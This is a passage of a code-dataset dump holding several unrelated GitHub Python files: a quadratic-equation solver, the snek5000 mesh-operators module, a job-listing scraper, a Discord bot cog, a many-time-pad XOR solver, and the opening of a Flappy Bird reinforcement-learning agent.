math.sqrt(discriminant)) / (2 * a)\n return root1, root2\n elif discriminant == 0:\n # Один действительный корень\n root = -b / (2 * a)\n return root\n else:\n # Корни комплексные\n real_part = -b / (2 * a)\n imaginary_part = math.sqrt(abs(discriminant)) / (2 * a)\n root1 = complex(real_part, imaginary_part)\n root2 = complex(real_part, -imaginary_part)\n return root1, root2\n\n\ndef quadratic_solver_decorator(func):\n def wrapper(filename):\n with open(filename, 'r') as file:\n reader = csv.reader(file)\n for row in reader:\n if len(row) == 3:\n a, b, c = map(float, row)\n print(f\"Коэффициенты: a={a}, b={b}, c={c}\")\n roots = func(a, b, c)\n print(\"Корни:\", roots)\n else:\n print(\"Ошибка: требуются три числа в строке\")\n\n return wrapper\n\n\n@quadratic_solver_decorator\ndef solve_quadratic_from_csv(a, b, c):\n return solve_quadratic(a, b, c)\n\n\nfilename = 'random_numbers.csv'\nsolve_quadratic_from_csv(filename)\n","repo_name":"seokiller3/Python_Test","sub_path":"Python TEST/hw_9/decorator_quad_equa.py","file_name":"decorator_quad_equa.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31576707877","text":"\"\"\"Operators\n============\n\nInformation regarding mesh, mathematical operators, and domain decomposition.\n\n\"\"\"\nimport inspect\nimport itertools\nimport math\nimport sys\nfrom collections import OrderedDict\nfrom math import pi\n\nfrom .log import logger\nfrom .util import docstring_params\n\n\ndef _str_len(length):\n \"\"\"Generates a special string if length is multiple of pi. If not provide 3\n decimal places past floating point.\n\n \"\"\"\n if (length / pi).is_integer():\n str_len = repr(int(length / pi)) + \"pi\"\n else:\n str_len = f\"{length:.3f}\".rstrip(\"0\")\n\n return str_len\n\n\ndef next_power(value, base=2):\n \"\"\"Compute the perfect power of ``base`` greater than or equal to ``value``.\n\n :param value:\n :type value: int or float\n\n :param int base:\n\n :return int:\n\n \"\"\"\n exponent = math.ceil(math.log(value, base))\n return base**exponent\n\n\nclass Operators:\n \"\"\"Container for parameters and writing :ref:`box ` and\n :ref:`SIZE ` files.\n\n .. note:: Some values are not available as parameters and instead\n automatically computed for generating the SIZE file.\n\n ============== ======================== ==================================\n SIZE `properties` Comment\n ============== ======================== ==================================\n ``lelg`` :any:`max_n_seq` Max. number of elements globally\n ``lelt`` :any:`max_n_loc` | Max. number of elements per\n processor (should be not smaller\n | than ``lelg/lpmin``, i.e.\n\n ``lelx`` :any:`max_nx` | **Automatically computed**. Max.\n number of elements along x\n | direction for the global tensor\n product solver / dimensions.\n\n ``lely`` :any:`max_ny` Same as above for ``y`` direction.\n ``lelz`` :any:`max_nz` Same as above for ``z`` direction.\n\n ``lorder`` :any:`max_order_time` | Max. temporal order\n | **Automatically computed** based\n | ``params.nek.general.\\\ntime_stepper``\n\n ``lbelt`` :any:`order_mhd` | **Automatically computed** as\n | ``lelt`` if ``\"MHD\" in\n params.nek.problem_type.equation``.\n ``lpelt`` :any:`order_linear` | **Automatically computed** as\n | ``lelt`` if ``\"linear\" in\n params.nek.problem_type.equation``.\n ``lcvelt`` :any:`order_cvode` | **Automatically computed** as\n | ``lelt`` if\n ``params.nek.cvode._enabled is\n True``\n\n ``lx1m`` :any:`order_mesh_solver` | p-order for mesh solver.\n **Automatically computed** based\n | ``params.nek.general.stress\\\n_formulation`` and whether\n | Arbitrary Lagrangian-Eulerian\n (ALE) methods are used or not.\n ============== ======================== ==================================\n\n \"\"\"\n\n @staticmethod\n def _complete_params_with_default(params):\n \"\"\"This static method is used to complete the *params.oper* container.\"\"\"\n attribs = {\n \"nx\": 8,\n \"ny\": 8,\n \"nz\": 8,\n \"origin_x\": 0.0,\n \"origin_y\": 0.0,\n \"origin_z\": 0.0,\n \"ratio_x\": 1.0,\n \"ratio_y\": 1.0,\n \"ratio_z\": 1.0,\n \"Lx\": 2 * pi,\n \"Ly\": 2 * pi,\n \"Lz\": 2 * pi,\n \"boundary\": [\"P\", \"P\", \"W\", \"W\", \"P\", \"P\"],\n \"boundary_scalars\": [],\n \"dim\": 3,\n \"nproc_min\": 4,\n \"nproc_max\": 32,\n \"scalars\": 1,\n }\n params._set_child(\"oper\", attribs=attribs)\n params.oper._set_doc(\n \"\"\"\nParameters for mesh description:\n\n- ``nx``, ``ny``, ``nz``: int\n Number of elements in each directions\n- ``origin_x``, ``origin_y``, ``origin_z``: float\n Starting coordinate of the mesh (default: 0.0)\n- ``ratio_x``, ``ratio_y``, ``ratio_z``: float\n Mesh stretching ratio (default: 1.0)\n- ``Lx``, ``Ly``, ``Lz``: float\n Length of the domain\n\nParameters for boundary conditions:\n\n- ``boundary``: list[str]\n :ref:`Velocity boundary conditions `\n- ``boundary_scalars``: list[str]\n :ref:`Temperature and passive scalar boundary conditions `\n\nThe following table matches counterpart of mandatory :ref:`SIZE\n` variables.\n\n========== =================== =============================================\nSIZE params.oper Comment\n========== =================== =============================================\n``ldim`` ``dim`` Domain dimensions (2 or 3)\n\n``lpmin`` ``nproc_min`` Min MPI ranks\n``lpmax`` ``nproc_max`` Max MPI ranks\n``ldimt`` ``scalars`` Number of auxilary fields (minimum 1).\n\n========== =================== =============================================\n\n\"\"\"\n )\n\n attribs = {\n option: 1\n for option in (\n \"hist\",\n \"obj\",\n \"perturb\",\n \"scalars_cons\",\n \"scalars_proj\",\n \"sessions\",\n )\n }\n attribs[\"dim_proj\"] = 20\n attribs[\"dim_krylov\"] = 30\n\n params.oper._set_child(\"max\", attribs=attribs)\n params.oper.max._set_doc(\n \"\"\"\nThe following table matches counterpart of optional :ref:`SIZE\n` variables. These refer to upper bound number of\n`something`. The parameters are considered \"optional\" and would be ignored with\nthe default values.\n\n============== =================== =========================================\nSIZE params.oper.max Comment\n============== =================== =========================================\n``mxprev`` ``dim_proj`` Max. dimension of projection space\n``lgmres`` ``dim_krylov`` Max. dimension of Krylov space for GMRES\n``lhis`` ``hist`` Max. number of history (i.e. monitoring)\n points.\n\n``maxobj`` ``obj`` Max. number of objects?\n\n``lpert`` ``perturb`` Max. number of perturbations\n``toteq`` ``scalars_cons`` Max. conserved scalars\n``ldimt_proj`` ``scalars_proj`` Max. scalars for residual projection\n``nsessmax`` ``sessions`` Max. sessions to NEKNEK\n\n============== =================== =========================================\n\n\"\"\"\n )\n\n attribs = {\n \"order\": 6,\n \"order_out\": 6,\n \"coef_dealiasing\": 2.0 / 3,\n \"staggered\": \"auto\",\n }\n params.oper._set_child(\"elem\", attribs=attribs)\n params.oper.elem._set_doc(\n r\"\"\"\nThe following table relate to element configuration for certain operations.\nThe parameters are considered \"optional\" (except for ``lx1`` / ``order`` and\n``lxd`` / ``coef_dealiasing`` which are mandatory) and would be ignored with\nthe default values.\n\n========== =================== =========================================\nSIZE params.oper.elem Comment\n========== =================== =========================================\n``lxd`` ``coef_dealiasing`` | p-order [#f1]_ for over-integration.\n **Automatically computed** from float\n | ``coef_dealiasing``. See\n :any:`order_dealiasing`\n\n``lx1`` ``order`` p-order (avoid uneven and values <6).\n\n``lxo`` ``order_out`` Max. p-order on output (should be ``>=\n order``. See :any:`order_out`)\n\n``lx2`` ``staggered`` | p-order for pressure. **Automatically\n computed**. See :any:`order_pressure`\n\n========== =================== =========================================\n\n.. [#f1] Polynomial order which means the number of GLL / GL points per element.\n\n\"\"\"\n )\n attribs = {\"fast_diag\": False}\n params.oper._set_child(\"misc\", attribs=attribs)\n params.oper.misc._set_doc(\n r\"\"\"\nOther miscellaneous parameters:\n\n========== =================== =========================================\nSIZE params.oper.misc Comment\n========== =================== =========================================\n``lfdm`` ``fast_diag`` | Equals to True for global tensor\n product solver (that uses fast\n | diagonalization method). ``False``\n otherwise.\n========== =================== =========================================\n\n\"\"\"\n )\n\n def __init__(self, sim=None, params=None):\n self.params = sim.params if sim else params\n self.axes = (\"x\", \"y\", \"z\")\n\n @property\n def max_n_seq(self):\n \"\"\"Equivalent to ``lelg``.\"\"\"\n params = self.params\n if params.oper.dim == 2:\n return next_power(params.oper.nx * params.oper.ny)\n else:\n return next_power(params.oper.nx * params.oper.ny * params.oper.nz)\n\n @property\n def max_n_loc(self):\n \"\"\"Equivalent to ``lelt``. The next integer greater than or equals\n ``max_n_seq / params.oper.nproc_min``.\n \"\"\"\n return math.ceil(self.max_n_seq / self.params.oper.nproc_min)\n\n @property\n def max_nx(self):\n \"\"\"Equivalent to ``lelx``.\"\"\"\n return next_power(self.params.oper.nx)\n\n @property\n def max_ny(self):\n \"\"\"Equivalent to ``lely``.\"\"\"\n return next_power(self.params.oper.ny)\n\n @property\n def max_nz(self):\n \"\"\"Equivalent to ``lelz``.\"\"\"\n return next_power(self.params.oper.nz)\n\n @property\n def max_order_time(self):\n \"\"\"Equivalent to ``lorder``.\"\"\"\n (\n _,\n time_scheme,\n order_time,\n ) = self.params.nek.general.time_stepper.upper().partition(\"BDF\")\n if time_scheme != \"BDF\":\n raise ValueError(\"Unsupported time integration scheme\")\n\n return int(order_time)\n\n @property\n def nb_fields(self):\n \"\"\"Used in .box file.\"\"\"\n return self.params.oper.scalars + 1\n\n @property\n def order(self):\n r\"\"\"Equivalent to ``lx1``. Controls the polynomial order of the\n velocity field.\n\n .. note::\n\n True polynomial order of the element is given by\n :math:`\\mathbb{P}_N` = ``lx1`` - 1 = :any:`order` - 1\n\n \"\"\"\n return self.params.oper.elem.order\n\n @property\n def order_out(self):\n \"\"\"Equivalent to ``lxo``.\"\"\"\n elem = self.params.oper.elem\n if elem.order_out < elem.order:\n raise ValueError(\n f\"Max GLL points on output should not be less than element \"\n f\"order. {elem.order_out} < {elem.order}\"\n )\n\n return elem.order_out\n\n @property\n def order_dealiasing(self):\n \"\"\"Equivalent to ``lxd``.\"\"\"\n elem = self.params.oper.elem\n return math.ceil(elem.order / elem.coef_dealiasing)\n\n @property\n def order_pressure(self):\n r\"\"\"Equivalent to ``lx2``. Controls the order for the pressure field.\n\n .. note::\n\n The property :any:`order_pressure` is determined by\n the value of :attr:`params.oper.elem.staggered`.\n\n - If staggered == \"auto\":\n\n * If \"lin\" in problemtype_equation\n :math:`\\implies \\mathbb{P}_{N-2}`\n * Else\n :math:`\\implies \\mathbb{P}_N`\n\n - If staggered is True :math:`\\implies \\mathbb{P}_{N-2}`\n - If staggered is False :math:`\\implies \\mathbb{P}_N`\n\n \"\"\"\n\n pn = self.order\n staggered = self.params.oper.elem.staggered\n\n problemtype_equation = self.params.nek.problemtype.equation.lower()\n\n if \"lin\" in problemtype_equation and staggered is False:\n logger.warning(\n \"Linear equation type and staggered == False leads to \"\n \"undefined behaviour in Nek5000. User should put \"\n 'params.oper.elem.staggered = True or \"auto\" to have evolution'\n \"of perturbation field.\"\n )\n\n if staggered == \"auto\":\n if \"lin\" in problemtype_equation:\n return pn - 2\n else:\n return pn\n elif staggered is True:\n return pn - 2\n elif staggered is False:\n return pn\n else:\n raise ValueError(\n 'params.nek have to be in [True, False, \"auto\"]. '\n f\"staggered = {staggered}\"\n )\n\n @property\n def order_mesh_solver(self):\n \"\"\"\n Equivalent to ``lx1m``.\n\n .. todo:: Must include a condition to check if ALE methods are used or\n not.\n\n \"\"\"\n return (\n self.order\n if (\n self.params.nek.problemtype.stress_formulation\n # or ALE\n )\n else 1\n )\n\n @property\n def order_mhd(self):\n \"\"\"Equivalent to ``lbelt``.\"\"\"\n return (\n self.max_n_loc\n if \"mhd\" in self.params.nek.problemtype.equation.lower()\n else 1\n )\n\n @property\n def order_linear(self):\n \"\"\"Equivalent to ``lpelt``.\"\"\"\n return (\n self.max_n_loc\n if \"lin\" in self.params.nek.problemtype.equation.lower()\n else 1\n )\n\n @property\n def order_cvode(self):\n \"\"\"Equivalent to ``lcvelt``.\"\"\"\n return self.max_n_loc if self.params.nek.cvode._enabled else 1\n\n def memory_required(self):\n \"\"\"According to Nek5000 :ref:`nek:faq` the following estimate is made\n\n ::\n\n lx1*ly1*lz1*lelt * 3000byte + lelg * 12byte + MPI + optional libraries\n (e.g. CVODE)\n\n Returns\n -------\n memory_required: int\n in bytes\n\n \"\"\"\n params = self.params\n elem = params.oper.elem\n\n lx1 = elem.order\n ldim = params.oper.dim\n ly1 = lx1\n lz1 = 1 + (ldim - 2) * (lx1 - 1)\n lelt = self.max_n_loc\n lelg = self.max_n_seq\n\n return lx1 * ly1 * lz1 * lelt * 3000 + lelg * 12\n\n def _str_Ln(self):\n params = self.params.oper\n dim = params.dim\n str_l = map(_str_len, (params.Lx, params.Ly, params.Lz)[:dim])\n str_n = map(str, (params.nx, params.ny, params.nz)[:dim])\n return str_l, str_n\n\n def _modify_sim_repr_maker(self, sim_repr_maker):\n repr_oper = self.produce_str_describing_oper()\n sim_repr_maker.add_word(repr_oper)\n\n def produce_str_describing_oper(self):\n \"\"\"Produce a string describing the mesh volume and number of\n elements.\n\n \"\"\"\n str_L, str_n = self._str_Ln()\n return f\"{'x'.join(str_n)}_V{'x'.join(str_L)}\"\n\n def produce_long_str_describing_oper(self, oper_method=\"Base\"):\n \"\"\"Produce a multi-line string describing the mesh volume and number of\n elements.\n\n \"\"\"\n str_L, str_n = self._str_Ln()\n string = \"\"\n for key, value in zip((\"Lx\", \"Ly\", \"Lz\"), str_L):\n string += f\"- {key} = {value}\\n\"\n for key, value in zip((\"nx\", \"ny\", \"nz\"), str_n):\n string += f\"- {key} = {value}\\n\"\n return f\"Nek5000 operator:\\n{string}\"\n\n def info_box(self, comments=\"\"):\n \"\"\"Gather information for writing a box file.\n\n Returns\n -------\n dict\n\n \"\"\"\n params = self.params\n comments += \"\"\"\nAutogenerated using snek5000.operators.Operators.write_box()\n\nIf dim < 0 .re2 file will be generated\n\nIf nelx (y or z) < 0, then genbox automatically generates the\n grid spacing in the x (y or z) direction\n with a geometric ratio given by \"ratio\".\n ( ratio=1 implies uniform spacing )\n\nNote that the values for \"x0 x1 ratio\" _must_ be formatted as `.4f`.\n\nNote that each code for the boundary cond. _must_ have 3 spaces.\n\"\"\"\n\n def _str_grid(*args):\n fmt = \"{:.4f} {:.4f} {:.4f}\"\n args = (float(value) for value in args)\n return fmt.format(*args)\n\n dim = params.oper.dim\n boundary = params.oper.boundary\n boundary_scalars = params.oper.boundary_scalars\n\n for bc in itertools.chain(boundary, boundary_scalars):\n if len(bc) > 3:\n raise ValueError(\n f\"Length of boundary condition {bc} shall not exceed 3 characters\"\n )\n\n # A dictionary mapping a comment to grid\n grid_info = OrderedDict(\n [\n (\n \"nelx nely nelz\",\n \" \".join(\n str(-n)\n for n in (params.oper.nx, params.oper.ny, params.oper.nz)[:dim]\n ),\n ),\n (\n \"x0 x1 ratio\",\n _str_grid(\n params.oper.origin_x, params.oper.Lx, params.oper.ratio_x\n ),\n ),\n (\n \"y0 y1 ratio\",\n _str_grid(\n params.oper.origin_y, params.oper.Ly, params.oper.ratio_y\n ),\n ),\n ]\n )\n\n if params.oper.dim == 3:\n grid_info.update(\n [\n (\n \"z0 z1 ratio\",\n _str_grid(\n params.oper.origin_z,\n params.oper.Lz,\n params.oper.ratio_z,\n ),\n ),\n ]\n )\n\n if boundary:\n grid_info.update(\n [\n (\n \"Velocity BCs\",\n \",\".join(bc.ljust(3) for bc in boundary),\n )\n ]\n )\n\n if boundary_scalars:\n grid_info.update(\n [\n (\n \"Temperature / scalar BCs\",\n \",\".join(bc.ljust(3) for bc in boundary_scalars),\n )\n ]\n )\n\n info = {\n \"comments\": comments,\n \"dim\": str(-params.oper.dim),\n \"grid_info\": grid_info,\n \"nb_fields\": str(self.nb_fields), # scalars + velocity\n }\n return info\n\n def write_box(self, template, fp=sys.stdout, comments=\"\", **template_vars):\n \"\"\"Write the .box file which is input for the ``genbox`` meshing\n tool.\n\n Parameters\n ----------\n template : jinja2.environment.Template\n Template instance loaded from something like ``box.j2``\n fp : io.TextIOWrapper\n File handler to write to\n comments: str\n Comments on top of the box file\n template_vars: dict\n Keyword arguments passed while rendering the Jinja templates\n\n \"\"\"\n template_vars.update(self.info_box(comments))\n\n # Write the box file\n output = template.render(**template_vars)\n fp.write(output)\n\n def write_size(self, template, fp=sys.stdout, comments=\"\", **template_vars):\n \"\"\"Write the SIZE file which is required for compilation.\n\n Parameters\n ----------\n template : jinja2.environment.Template\n Template instance loaded from something like ``SIZE.j2``\n fp : io.TextIOWrapper\n File handler to write to\n comments: str\n Comments on top of the SIZE file\n template_vars: dict\n Keyword arguments passed while rendering the Jinja templates\n\n \"\"\"\n comments += \"\"\"\nAutogenerated using snek5000.operators.Operators.write_size()\n\"\"\"\n template_vars.update({\"comments\": comments, \"params\": self.params})\n # Include all @property attributes to the template\n template_vars.update(\n {\n name: getattr(self, name)\n for name, _ in inspect.getmembers(\n self.__class__, lambda attr: isinstance(attr, property)\n )\n }\n )\n output = template.render(**template_vars)\n fp.write(output)\n\n\nOperators.__doc__ += \"\"\"\\n\n\n.. note:: We deliberately try not to use the variable names used in Nek5000, as\n those are ambiguously named.\n\n\n\"\"\" + docstring_params(\n Operators, indent_len=0\n)\n","repo_name":"snek5000/snek5000","sub_path":"src/snek5000/operators.py","file_name":"operators.py","file_ext":"py","file_size_in_byte":21441,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"} +{"seq_id":"8109777515","text":"# coding:UTF-8\n\n\n\"\"\"\n抓取电子工程学院招聘信息\n@author: yubang\n2016.04.28\n\n抓取入口:http://job.scautiu.com/news/newsListClass.aspx?ncid=2\n\"\"\"\n\n\nfrom bs4 import BeautifulSoup\nfrom lib import tools, dao\nfrom lib.logging_lib import log\nimport requests\n\n\nmessage_url_prefix = 'http://job.scautiu.com/news/'\nfirst_html_url = 'http://job.scautiu.com/news/newsListClass.aspx?ncid=2'\n\n\ndef get_search_form(html):\n \"\"\"\n 获取搜索所需要的隐藏字段\n :param html:\n :return:\n \"\"\"\n soup = BeautifulSoup(html, \"html.parser\")\n form = soup.find('form', {\"id\": 'form1'})\n if not form:\n return None\n\n hiddens = form.find_all('input', {\"type\": 'hidden'})\n r = {}\n for obj in hiddens:\n if 'name' not in obj.attrs or 'value' not in obj.attrs:\n continue\n r[obj['name']] = obj['value']\n return r\n\n\ndef get_message_title_and_url_list(html):\n \"\"\"\n 提取兼职信息列表的信息标题和跳转地址\n :param html:\n :return:\n \"\"\"\n global message_url_prefix\n soup = BeautifulSoup(html, \"html.parser\")\n message_div = soup.find('div', {\"class\": 'mainContent fr'})\n if not message_div:\n return None, None\n objs = message_div.find_all('a')\n r = []\n for obj in objs:\n title_label = obj.find('h4')\n release_time_label = obj.find('span')\n if not title_label or not release_time_label or 'href' not in obj.attrs:\n continue\n r.append({\"title\": title_label.string, \"release_time\": release_time_label.string, \"web_url\": message_url_prefix + obj['href']})\n return r\n\n\ndef get_all_page_html():\n \"\"\"\n 获取若干页\n :return:\n \"\"\"\n global first_html_url\n # 获取第一页信息\n response = requests.get(first_html_url)\n if response.status_code != 200:\n return None\n\n html = response.content\n if not html:\n return None\n\n messages = get_message_title_and_url_list(html)\n\n page = 2\n form_data = get_search_form(html)\n while page < 50:\n form_data['__EVENTTARGET'] = 'ctl00$cph_content_temp$DataPager1$ctl01$ctl0%d' % (page - 1)\n response = requests.post(first_html_url, form_data)\n\n if response.status_code != 200:\n log.error(\"网址(%s)无法访问,状态码:%d\" % (first_html_url, response.status_code))\n page += 1\n continue\n\n # 更新form隐藏字段\n html = response.content\n form_data = get_search_form(html)\n\n temp_messages = get_message_title_and_url_list(html)\n messages.extend(temp_messages)\n\n if not temp_messages or len(temp_messages) < 10:\n break\n\n page += 1\n messages = list(map(handle_job_message, messages))\n return messages\n\n\ndef handle_job_message(obj):\n \"\"\"\n 处理兼职信息具体信息\n :param obj:\n :return:\n \"\"\"\n # 休眠一会\n tools.sleep_some_time()\n\n response = requests.get(obj['web_url'])\n if response.status_code != 200:\n log.error(\"网址(%s)无法访问,状态码:%d\" % (obj['web_url'], response.status_code))\n return obj\n\n obj['web_html'] = response.content\n obj['company'] = tools.get_company_name(obj['web_html'])\n obj['position'] = tools.get_work_position(obj['web_html'])\n obj['work_city'] = tools.get_work_citys(obj['web_html'])\n\n return obj\n\n\ndef init():\n objs = get_all_page_html()\n for obj in objs:\n dao.add_a_job(obj['title'], obj['company'], obj['web_url'], obj['work_city'], '华农电子工程学院官网', obj['position'],\n obj['release_time'], obj['web_html'])\n\n\ndef test():\n with open('../debug_html/1.html', 'r') as fp:\n print(get_message_title_and_url_list(fp.read()))\n with open('../debug_html/1.html', 'r') as fp:\n print(get_search_form(fp.read()))\n # print(get_all_page_html())\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"wususu/part-time-job","sub_path":"fetch/scau_scautiu.py","file_name":"scau_scautiu.py","file_ext":"py","file_size_in_byte":3917,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"34291888967","text":"import json\nfrom itertools import cycle\nimport discord\nfrom discord.ext import commands, tasks\nimport random\nfrom discord.ext.commands.cooldowns import BucketType\nfrom discord.utils import get\nfrom discord.ext import commands\nimport time\nimport aiohttp\nfrom discord import Webhook, AsyncWebhookAdapter\nimport sys, traceback\n\n\nclass Misc_Commands(commands.Cog):\n def __init__(self, client):\n self.client = client\n\n\n @commands.command(aliases=[\"feedback\", \"suggestion\"])\n async def suggest(self, ctx, *, content): \n await ctx.message.delete()\n async with aiohttp.ClientSession() as session:\n webhook = Webhook.from_url('The Webhook URL', adapter=AsyncWebhookAdapter(session))\n await webhook.send(f\"Suggestion - {content}\", username=\"Suggestion\")\n\n\n @commands.command(aliases=[\"reportbug\", \"sendbug\", \"bugreport\"])\n async def bug(self, ctx, *, content): \n await ctx.message.delete()\n async with aiohttp.ClientSession() as session:\n webhook = Webhook.from_url('The Webhook URL', adapter=AsyncWebhookAdapter(session))\n await webhook.send(f\"Bug - {content}\", username=\"Bug Found!\")\n\n\n\n @commands.command(aliases=[\"enterqueue\", \"queueenter\"])\n async def queue(self, ctx, *, text):\n embed = discord.Embed(\n title=\"User Entered The Queue\",\n colour=discord.Colour.blue(),\n\n )\n\n embed.set_author(name=f\"{ctx.author}\")\n embed.add_field(name=\"Server\", value=f\"{ctx.guild}\", inline=False)\n embed.add_field(name=\"User\", value=f\"{ctx.author}\", inline=False)\n embed.add_field(name=\"Queue\", value=f\"{ctx.author} entered the queue!\", inline=False)\n embed.add_field(name=\"Queue Username\", value=f\"{text}\", inline=False)\n\n await ctx.send(embed=embed)\n\n\n @commands.command(aliases=[\"invitebot\"])\n async def invite(self, ctx):\n embed = discord.Embed(\n\n title=\"Invite Breeze\"\n )\n embed.add_field(name=\"Invite me to your server!\",\n value=\"[Invite Link](https://discord.com/oauth2/authorize?client_id=709775179303223387&permissions=8&scope=bot)\")\n await ctx.send(embed=embed)\n\n\n @commands.command()\n async def ping(self, ctx):\n await ctx.send(f'Pong! {round(self.client.latency * 1000)}ms')\n print(f\"Someone requested the ping! The ping was {round(self.client.latency * 1000)}ms! \")\n\n\n @commands.command(aliases=[\"supportserver\", \"support_server\", \"help_server\", \"helpserver\"])\n async def support(self, ctx):\n embed = discord.Embed(\n\n title=\"Join our support server!\"\n )\n embed.add_field(name=\"Support Server\", value=\"[Invite Link](https://discord.gg/YNw3bfj)\")\n await ctx.send(embed=embed)\n\n\n @commands.command(aliases=[\"dono\", \"donation\", \"paypal\", \"venmo\", \"cashapp\"])\n async def donate(self, ctx):\n embed = discord.Embed(\n\n )\n embed.add_field(name=\"Donate\", value=\"[Donation Link](https:Ko-fi.com/breezebotdevs)\")\n await ctx.send(embed=embed)\n\n\ndef setup(client):\n client.add_cog(Misc_Commands(client))\n","repo_name":"shabman/Breeze","sub_path":"cogs/Miscellaneous.py","file_name":"Miscellaneous.py","file_ext":"py","file_size_in_byte":3129,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"14195114169","text":"from binascii import unhexlify\nimport collections\nimport string\nimport tempfile\nimport os\nimport subprocess\nimport sys\n\n\ndef xor(a: bytes, b: bytes) -> bytes:\n return bytes(x ^ y for (x, y) in zip(a, b))\n\n\nciphers = []\nwith open(sys.argv[1], \"r\") as f:\n for line in f:\n line = line.strip()\n if not line:\n continue\n ciphers.append(unhexlify(line))\n\nkey = [0] * max(len(x) for x in ciphers)\n\nfor i, ct in enumerate(ciphers):\n counter = collections.Counter()\n for j, ct2 in enumerate(ciphers):\n if i == j:\n continue\n for p, b in enumerate(xor(ct, ct2)):\n c = chr(b)\n if c in string.printable and c.isalpha():\n counter[p] += 1\n space_index = []\n for p, cnt in counter.items():\n if cnt >= len(ciphers) * 0.6:\n space_index.append(p)\n\n xor_with_space = xor(ct, bytes(0x20 for _ in range(len(ct))))\n for index in space_index:\n key[index] = xor_with_space[index]\n\ndef encode(p):\n return \"\".join(chr(b) if key[i] and b != 0x0a and b != 0x0d else \"*\" for i, b in enumerate(p))\n\nfd, name = tempfile.mkstemp()\nwhile True:\n plaintexts = []\n for c in ciphers:\n plaintext = xor(c, bytes(key))\n plaintexts.append(\n encode(plaintext)\n )\n\n with open(name, \"w\") as f:\n for p in plaintexts:\n f.write(p)\n f.write(\"\\n\")\n editor = os.environ.get(\"EDITOR\", \"vi\")\n subprocess.run([editor, name])\n\n with open(name, \"r\") as f:\n lines = f.readlines()\n\n changed = False\n for i in range(min(len(plaintexts), len(lines))):\n for j in range(min(len(plaintexts[i]), len(lines[i]))):\n if plaintexts[i][j] != lines[i][j]:\n key[j] = ciphers[i][j] ^ ord(lines[i][j])\n changed = True\n if not changed:\n break\n\nfor c in ciphers:\n plaintext = xor(c, bytes(key))\n print(encode(plaintext))\n","repo_name":"theoremoon/mtpsolver","sub_path":"mtpsolver.py","file_name":"mtpsolver.py","file_ext":"py","file_size_in_byte":1948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20801794519","text":"import numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.models import Model, Sequential, load_model\nfrom tensorflow.keras.layers import Dense, Dropout, Conv2D, MaxPool2D, Flatten, Input, Lambda, Add, Subtract\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.losses import Huber\nfrom tensorflow.keras.initializers import VarianceScaling\nfrom collections import deque\nimport matplotlib.pyplot as plt\nimport random\nimport os\nimport time\nimport math\nimport pickle\n\nplt.style.use('ggplot')\n\nrandom.seed(123)\nnp.random.seed(123)\n\nclass FlappyBirdRLAgent:\n \"\"\"\n RL Agent that for playing Flappy Bird Game.\n \"\"\"\n def __init__(self, model_name=None, actions=None, state_space=None, epsilon=1.0, eval_model=None):\n \"\"\"\n Initializes the agent with the provided state_space and actions in either train mode or eval\n mode.\n\n Args\n ----\n `model_name` (str): Used to create a directory that saves the agent state and history\n information that can be used to resume training from the last \n checkpoint.\n \n `actions` (int): The total number of actions agent can perform in the environment.\n\n `state_space` (tuple): Basically the dimension of the state space. Used as input for the\n agent neural network.\n\n `epsilon` (float): [0, 1] that controls the agents probability of picking the random\n action while using epsilon-greedy policy.\n \n `eval_model` (str): Path to model weights that is to be evaluated.\n \n Raises\n ------\n `ValueError`: If state_space or actions are not provided. If the value of epsilon is not\n in the range [0, 1].\n \"\"\"\n if state_space is None:\n raise ValueError('Error state space is not provided')\n\n if actions is None:\n raise ValueError('Error number of actions not provided')\n \n if epsilon > 1.0 or epsilon < 0:\n raise ValueError(f'Error epsilon value should be in [0, 1], provided value = {epsilon}')\n \n self._STATE_SPACE = state_space\n self._NUM_ACTIONS = actions\n \n if eval_model is not None:\n self._eval_mode = True\n self._init_eval_mode(eval_model=eval_model)\n else:\n self._eval_mode = False\n self._init_train_mode(model_name=model_name, epsilon=epsilon)\n \n\n def _init_eval_mode(self, eval_model=None):\n \"\"\"\n Initializes the agent in evaluation mode.\n\n Args\n ----\n `eval_model` (str): Path to model weights that is to be evaluated.\n \"\"\"\n self._init_models()\n self._prediction_model.load_weights(eval_model)\n\n def _init_train_mode(self, model_name=None, epsilon=1.0):\n \"\"\"\n Initializes model in training mode.\n\n Args\n ----\n `model_name` (str): Used to create a directory that saves the agent state and history\n information that can be used to resume training from the last \n checkpoint.\n\n `epsilon` (float): [0, 1] that controls the agents probability of picking the random\n action while using epsilon-greedy policy.\n \"\"\"\n\n # Number of state transition that are stored while training.\n self._MAX_REPLAY_BUFFER_SIZE = 100_000\n\n # Minimum number of state transitions that are collected before starting training. \n self._MIN_REPLAY_BUFFER_SIZE = 1_000 \n\n self._BATCH_SIZE = 32\n \n # Discount factor\n self._GAMMA = 0.99 \n \n\n self._MIN_EPSILON = 1e-4\n self._EPSILON_DECAY_STEPS = 1e4\n self._EPSILON_DECAY_RATE = 10**(math.log10(self._MIN_EPSILON/epsilon)/self._EPSILON_DECAY_STEPS)\n \n # Minimum score above which an evaluation model is saved.\n self._SAVE_SCORE_THRESHOLD = 200\n \n # indicates whether we will store history/checkpoints for agent.\n self._MODEL_NAME = model_name \n if self._MODEL_NAME is not None:\n self._MODEL_DIR = f'./models/{self._MODEL_NAME}'\n self._REPLAY_BUFFER_FILE = f'{self._MODEL_DIR}/replay_buffer.pkl'\n self._CHECKPOINT_FILE = f'{self._MODEL_DIR}/checkpoint.csv'\n self._HISTORY_FILE = f'{self._MODEL_DIR}/history.csv'\n self._HISTORY_HEADERS = ['episode', 'step', 'train_score', 'eval_score', 'best_score', 'epsilon', 'loss']\n # add fields for q values predicted by the network.\n for action in range(self._NUM_ACTIONS):\n self._HISTORY_HEADERS.append(f'q_avg_{action}')\n self._HISTORY_HEADERS.append(f'q_min_{action}')\n self._HISTORY_HEADERS.append(f'q_max_{action}')\n self._HISTORY_BUFFER_SIZE = 100 # used to smooth training score values.\n self._PLOT_DPI = 240 # dpi used while saving the plots.\n self._PROGRESS_FILE = 